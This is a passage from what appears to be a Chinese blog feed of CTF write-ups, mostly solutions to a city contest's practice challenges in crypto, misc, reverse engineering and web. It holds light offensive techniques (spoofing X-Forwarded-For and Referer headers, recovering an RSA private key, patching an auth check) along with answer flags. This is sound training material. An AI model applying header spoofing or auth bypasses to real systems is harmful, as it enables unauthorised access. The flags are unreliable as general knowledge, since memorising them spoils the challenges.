</span></span><span class="line"><span class="ln">255</span><span class="cl">                                                                    <span class="s1">&#39;j&#39;</span>
</span></span><span class="line"><span class="ln">256</span><span class="cl">                                                                <span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="ln">257</span><span class="cl">                                                                <span class="n">s</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">258</span><span class="cl">                                                                    <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">259</span><span class="cl">                                                                        <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln">260</span><span class="cl">                                                                    <span class="p">]</span>
</span></span><span class="line"><span class="ln">261</span><span class="cl">                                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln">262</span><span class="cl">                                                            <span class="p">)</span> <span class="o">+</span>
</span></span><span class="line"><span class="ln">263</span><span class="cl">                                                            <span class="n">k</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">264</span><span class="cl">                                                                <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">265</span><span class="cl">                                                                    <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln">266</span><span class="cl">                                                                <span class="p">]</span>
</span></span><span class="line"><span class="ln">267</span><span class="cl">                                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">268</span><span class="cl">                                                        <span class="p">)</span> <span class="o">%</span>
</span></span><span class="line"><span class="ln">269</span><span class="cl">                                                        <span class="mi">256</span>
</span></span><span class="line"><span class="ln">270</span><span class="cl">                                                    <span class="p">)</span>
</span></span><span class="line"><span class="ln">271</span><span class="cl">                                                <span class="p">)</span>
</span></span><span class="line"><span class="ln">272</span><span class="cl">                                            <span class="p">]</span>
</span></span><span class="line"><span class="ln">273</span><span class="cl">                                        <span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">274</span><span class="cl">                                        <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">275</span><span class="cl">                                            <span class="s1">&#39;i&#39;</span>
</span></span><span class="line"><span class="ln">276</span><span class="cl">                                        <span class="p">]</span> <span class="ow">in</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">277</span><span class="cl">                                            <span class="p">(</span>
</span></span><span class="line"><span class="ln">278</span><span class="cl">                                                <span class="n">__i</span>
</span></span><span class="line"><span class="ln">279</span><span class="cl">                                            <span class="p">)</span>
</span></span><span class="line"><span class="ln">280</span><span class="cl">                                        <span class="p">]</span>
</span></span><span class="line"><span class="ln">281</span><span class="cl">                                    <span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">282</span><span class="cl">                                    <span class="k">if</span> <span class="n">__i</span> <span class="ow">is</span> <span class="ow">not</span> <span class="n">__sentinel</span>
</span></span><span class="line"><span class="ln">283</span><span class="cl">                                    <span class="k">else</span>
</span></span><span class="line"><span class="ln">284</span><span class="cl">                                        <span class="n">__after</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">285</span><span class="cl">                                <span class="p">)(</span><span class="nb">next</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">286</span><span class="cl">                                    <span class="n">__items</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">287</span><span class="cl">                                    <span class="n">__sentinel</span>
</span></span><span class="line"><span class="ln">288</span><span class="cl">                                <span class="p">)))())(</span><span class="nb">iter</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">289</span><span class="cl">                                <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)),</span>
</span></span><span class="line"><span class="ln">290</span><span class="cl">                            <span class="k">lambda</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span> <span class="p">[]),</span> <span class="p">[])</span> <span class="k">for</span> <span class="n">__l</span><span class="p">[</span>
</span></span><span class="line"><span class="ln">291</span><span class="cl">                            <span class="s1">&#39;j&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[(</span><span class="mi">0</span><span class="p">)]][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">292</span><span class="cl">                        <span class="k">for</span> <span class="n">__l</span><span class="p">[</span><span class="s1">&#39;key&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[(</span>
</span></span><span class="line"><span class="ln">293</span><span class="cl">                            <span class="s1">&#39;aV9hbV9ub3RfZmxhZw==&#39;</span>
</span></span><span class="line"><span class="ln">294</span><span class="cl">                            <span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;base64&#39;</span><span class="p">))]</span>
</span></span><span class="line"><span class="ln">295</span><span class="cl">                    <span class="p">][</span><span class="mi">0</span><span class="p">])(</span>
</span></span><span class="line"><span class="ln">296</span><span class="cl">                <span class="p">{}),</span> <span class="s1">&#39;init&#39;</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">297</span><span class="cl">            <span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">298</span><span class="cl">            <span class="k">for</span> <span class="n">__g</span><span class="p">[</span><span class="s1">&#39;k&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[([])]</span>
</span></span><span class="line"><span class="ln">299</span><span class="cl">        <span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">300</span><span class="cl">        <span class="k">for</span> <span class="n">__g</span><span class="p">[</span><span class="s1">&#39;s&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[([])]</span>
</span></span><span class="line"><span class="ln">301</span><span class="cl">    <span class="p">][</span><span class="mi">0</span><span class="p">])[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">302</span><span class="cl">    <span class="k">for</span> <span class="n">__g</span><span class="p">[</span><span class="s1">&#39;sys&#39;</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[(</span><span class="nb">__import__</span><span class="p">(</span><span class="s1">&#39;sys&#39;</span><span class="p">,</span> <span class="n">__g</span><span class="p">,</span> <span class="n">__g</span><span class="p">))]</span>
</span></span><span class="line"><span class="ln">303</span><span class="cl"><span class="p">][</span><span class="mi">0</span><span class="p">])(</span><span class="nb">__import__</span><span class="p">(</span><span class="s1">&#39;operator&#39;</span><span class="p">,</span> <span class="n">level</span> <span class="o">=</span> <span class="mi">0</span><span class="p">),</span> <span class="nb">__import__</span><span class="p">(</span><span class="s1">&#39;__builtin__&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">304</span><span class="cl">    <span class="n">level</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span><span class="o">.</span><span class="vm">__dict__</span><span class="p">[</span><span class="s1">&#39;print&#39;</span><span class="p">],</span> <span class="nb">globals</span><span class="p">(),</span> <span class="p">(</span><span class="k">lambda</span> <span class="n">f</span><span class="p">:</span> <span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">305</span><span class="cl">    <span class="n">x</span><span class="p">(</span><span class="n">x</span><span class="p">))(</span><span class="k">lambda</span> <span class="n">y</span><span class="p">:</span> <span class="n">f</span><span class="p">(</span><span class="k">lambda</span><span class="p">:</span> <span class="n">y</span><span class="p">(</span><span class="n">y</span><span class="p">)()))))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>格式化也好难读，这里把<code>if(__l['auth'] !=1)</code>修改为<code>if(__l['auth'] ==1)</code>运行即可出flag</p>
<p>进决赛了，没打过AWD，kali不太会用，师傅们手下留情，欢迎各位师傅交流交流AWD基础</p>
]]></content:encoded><category>WEB</category><category>Misc</category><category>Crypto</category><category>市赛</category></item><item><title>第四届宁波网安市赛训练题</title><link>https://h4cker.zip/5cc9b5/</link><pubDate>Tue, 18 May 2021 15:48:31 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/5cc9b5/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="crypto">Crypto<a class="anchor" href="#crypto">#</a></h2>
<h3 id="散乱的密文">散乱的密文<a class="anchor" href="#散乱的密文">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_crypto_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="564" height="354"
/>
</p>
<p><code>8fd4a@4c9@4gf15{50}l72d3</code>提示了2 1 6 5 3 4，我们直接横向排列</p>
<table>
	<thead>
			<tr>
					<th style="text-align: center">2</th>
					<th style="text-align: center">1</th>
					<th style="text-align: center">6</th>
					<th style="text-align: center">5</th>
					<th style="text-align: center">3</th>
					<th style="text-align: center">4</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: center">8</td>
					<td style="text-align: center">f</td>
					<td style="text-align: center">d</td>
					<td style="text-align: center">4</td>
					<td style="text-align: center">a</td>
					<td style="text-align: center">@</td>
			</tr>
			<tr>
					<td style="text-align: center">4</td>
					<td style="text-align: center">c</td>
					<td style="text-align: center">9</td>
					<td style="text-align: center">@</td>
					<td style="text-align: center">4</td>
					<td style="text-align: center">g</td>
			</tr>
			<tr>
					<td style="text-align: center">f</td>
					<td style="text-align: center">1</td>
					<td style="text-align: center">5</td>
					<td style="text-align: center">{</td>
					<td style="text-align: center">5</td>
					<td style="text-align: center">0</td>
			</tr>
			<tr>
					<td style="text-align: center">}</td>
					<td style="text-align: center">l</td>
					<td style="text-align: center">7</td>
					<td style="text-align: center">2</td>
					<td style="text-align: center">d</td>
					<td style="text-align: center">3</td>
			</tr>
	</tbody>
</table>
<p>按顺序竖着抄下来<code>fc1l84f}a45d@g034@{2d957</code>,然后栅栏解密，注意这里是W型栅栏解密，行数6</p>
<p>flag:<code>flag{52048c453d794df1}@@</code></p>
<p><img
  src="/5cc9b5/nsctf4_practice_crypto_1_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1095" height="561"
/>
</p>
<h3 id="综合解密">综合解密<a class="anchor" href="#综合解密">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_crypto_2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="569" height="403"
/>
</p>
<p><code>596d687162534268643252344948686b5a6e5967636a56355a79426b636d6432</code>先16进制转字符串，再base64解码得到<code>bhjm awdx xdfv r5yg drgv</code>，这些字母在键盘上围起来的字母取出来就是flag</p>
<p>flag:<code>flag{nsctf}</code></p>
<h3 id="rsa1">rsa1<a class="anchor" href="#rsa1">#</a></h3>
<p>直接给了公钥和密文，先解析公钥<img
  src="/5cc9b5/nsctf4_practice_crypto_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1492" height="339"
/>
</p>
<p>分析n,得到p和q<img
  src="/5cc9b5/nsctf4_practice_crypto_3_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1679" height="250"
/>
</p>
<p>脚本跑跑跑</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">gmpy2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">rsa</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mi">86934482296048119190666062003494800588905656017203025617216654058378322103517</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="mi">285960468890451637935629440372639283459</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">q</span> <span class="o">=</span> <span class="mi">304008741604601924494328155975272418463</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">phin</span> <span class="o">=</span> <span class="p">(</span><span class="n">q</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">d</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="o">.</span><span class="n">invert</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="n">phin</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">rsa</span><span class="o">.</span><span class="n">PrivateKey</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">),</span> <span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Mr.Wu</span><span class="se">\\</span><span class="s2">Desktop</span><span class="se">\\</span><span class="s2">rsa1</span><span class="se">\\</span><span class="s2">flag.enc&#34;</span><span class="p">,</span> <span class="s2">&#34;rb+&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">f</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">rsa</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">key</span><span class="p">))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag:<code>nsfocus{seay_rsa}</code></p>
<h2 id="misc">Misc<a class="anchor" href="#misc">#</a></h2>
<h3 id="剧情大反转">剧情大反转<a class="anchor" href="#剧情大反转">#</a></h3>
<p>十六进制打开<img
  src="/5cc9b5/nsctf4_practice_misc_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="992" height="551"
/>
</p>
<p>看到最后有b405，题名也叫反转，50 4b是压缩包文件头，所以这里把字符串反转，直接复制下来放在线网站上即可。</p>
<p>把反转后的十六进制数据保存为zip文件，然后打开zip文件出现图片。<img
  src="/5cc9b5/nsctf4_practice_misc_1_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="619" height="265"
/>
</p>
<p>先水平翻转，再180度旋转出现flag<img
  src="/5cc9b5/nsctf4_practice_misc_1_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1116" height="479"
/>
</p>
<p>flag:<code>flag{99f0fd18f89e6b73f05c139b0a9e4c98}</code></p>
<h3 id="五彩斑斓的青春">五彩斑斓的青春~<a class="anchor" href="#五彩斑斓的青春">#</a></h3>
<p>下载是个未知文件，名字叫zip,解码文件头50 4b,应该就是zip文件了，加上zip后缀解压打开，里面只有一个html文件，打开如图</p>
<p><img
  src="/5cc9b5/nsctf4_practice_misc_2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="903" height="873"
/>
</p>
<p>每句话都有RGB颜色，把负数去掉拼接起来<code>3166393233623939323338643634306262386461643739613263343338626433</code>，16进制转字符串<code>1f923b99238d640bb8dad79a2c438bd3</code></p>
<p>flag:<code>flag{1f923b99238d640bb8dad79a2c438bd3}</code></p>
<h3 id="流量分析">流量分析~<a class="anchor" href="#流量分析">#</a></h3>
<p>这题经过lewiserii大佬指点</p>
<p>附件解压是个pcapng文件，用wireshark打开，搜索相关文件，如zip、doc、txt、rar等，这里搜索到666.zip<img
  src="/5cc9b5/nsctf4_practice_misc_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1888" height="436"
/>
</p>
<p>跟踪下面那条200数据的TCP流<img
  src="/5cc9b5/nsctf4_practice_misc_3_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1162" height="448"
/>
</p>
<p>pk头说明是压缩文件，导出为zip，打开后有6个txt文件<img
  src="/5cc9b5/nsctf4_practice_misc_3_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="916" height="222"
/>
</p>
<p>打开第一个发现是8950开头，应该是png的十六进制，转为png发现只是一部分二维码。所以将6个txt里的字符串拼接起来转为png图片,然后识别二维码即可</p>
<p>flag:<code>flag{3819169573b7a37786d2ea39c6daef76}</code></p>
<h3 id="misc1-bwm">misc1-bwm<a class="anchor" href="#misc1-bwm">#</a></h3>
<p>bwm盲水印，地址在这：<a
  href="https://github.com/chishaxie/BlindWaterMark" rel="nofollow noopener noreferrer" target="_blank"
  >盲水印<span style="user-select:none"> ↗</span></a
>
，一种图像隐写方式，把两张图使用脚本进行反解，注意python3版本的脚本和python2的原理一样的，但是python3与python2的random算法不同，使用python3脚本需要在命令后加<code>--oldseed</code>我的python3脚本名称为bwm.py，我将两张图进行反解，将解出的水印图保存为C.png。命令如下：</p>
<p><code>python bwm.py decode B2.png 2.png C.png --oldseed</code></p>
<p>水印如图<img
  src="/5cc9b5/nsctf4_practice_misc_4_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1200"
/>
</p>
<p>flag:<code>nsfocus{EasyBwm}</code></p>
<h3 id="misc2-weight">misc2-weight<a class="anchor" href="#misc2-weight">#</a></h3>
<p>解后里面是一张无法打开的png图片，十六进制打开。非常明显的IDAT缺失</p>
<p><img
  src="/5cc9b5/nsctf4_practice_misc_5_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="780" height="555"
/>
</p>
<p>补上，图片如下</p>
<p><img
  src="/5cc9b5/nsctf4_practice_misc_5_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="684" height="528"
/>
</p>
<p>宽高有问题，把高改成与宽一样<img
  src="/5cc9b5/nsctf4_practice_misc_5_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="782" height="555"
/>
</p>
<p><img
  src="/5cc9b5/nsctf4_practice_misc_5_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="556" height="543"
/>
</p>
<p>识别，即可出flag</p>
<p>flag:<code>nsfocus{f5b7e4b23076f925ab0fd214e58aa675}</code></p>
<h2 id="reverse">Reverse<a class="anchor" href="#reverse">#</a></h2>
<h3 id="re1">re1<a class="anchor" href="#re1">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="675" height="325"
/>
</p>
<p>64位，无壳，拖IDA里看看</p>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_1_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1054" height="534"
/>
</p>
<p>进第一行字符串里看看</p>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_1_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1152" height="256"
/>
</p>
<p>把这两段拼起来，16进制转字符串</p>
<p>flag:<code>nsfocus{674cc15823d087192c6f3ae919b8ce78}</code></p>
<h3 id="game">Game<a class="anchor" href="#game">#</a></h3>
<p>按顺序输入1-8直接出flag，摸索着玩一会也会出<img
  src="/5cc9b5/nsctf4_practice_reverse_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1087" height="466"
/>
</p>
<p>正常解法:等我写出来再搞</p>
<h3 id="re2">re2<a class="anchor" href="#re2">#</a></h3>
<p>64位无壳，拖进IDA</p>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_4_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="883" height="607"
/>
</p>
<p>伪代码大致就是满足if里的条件进入<code>s0_such(Str)</code>里，跟进去</p>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_4_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1017" height="623"
/>
</p>
<p>近百条case语句，真的flag应该是其中某一条，这里的switch里是v2，我们看到<code>v2=a1[6]-3</code>，刚才的伪代码里str[6]=83，所以这里v2为80，flag里base64解码</p>
<p>flag:<code>nsfocus{Th4_A11-Know1ng_K1ng}</code></p>
<h2 id="web">Web<a class="anchor" href="#web">#</a></h2>
<h3 id="签到喽">签到喽~<a class="anchor" href="#签到喽">#</a></h3>
<p>网络响应头里</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<h3 id="myself">Myself~<a class="anchor" href="#myself">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="600" height="166"
/>
</p>
<p>自己的电脑，XFF欺骗，修改请求头X-Forwarded-For即可，这里推荐使用ModHeader插件</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="769" height="247"
/>
</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="426" height="121"
/>
</p>
<p>从主页跳转，修改Referer为靶机主页</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="725" height="209"
/>
</p>
<p><img
